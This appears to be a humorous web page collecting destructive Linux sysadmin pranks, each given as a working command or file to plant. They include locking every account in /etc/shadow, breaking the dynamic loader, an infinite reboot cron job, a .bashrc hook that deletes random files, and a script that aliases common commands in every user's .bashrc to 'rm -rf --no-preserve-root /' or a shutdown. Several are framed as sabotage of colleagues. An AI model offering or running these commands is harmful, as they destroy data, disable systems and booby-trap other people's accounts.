Run this one on a server with local accounts:

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sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!\2/' /etc/shadow

Sick and tired of your cow-orkers typing su - instead of sudo -i? Use this one:

chmod u-s /bin/su

Run this one to bring your networks back to proper speeds:

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for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
  ip l s ${IF} mtu 68
done

Run this one if you want to make an executive decision:

chmod a-x /lib{,64}/ld-2*.so

Create the following file as /etc/sysctl.d/01-pidmax.conf, then reboot your system.

kernel.pid_max = 132

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

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export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Create a file named /etc/cron.d/system with the following content:

@reboot reboot

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'

Just run this one once, or more often if you're feeling lucky.

Inspiration for this one came from Jan K.

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#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done

Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc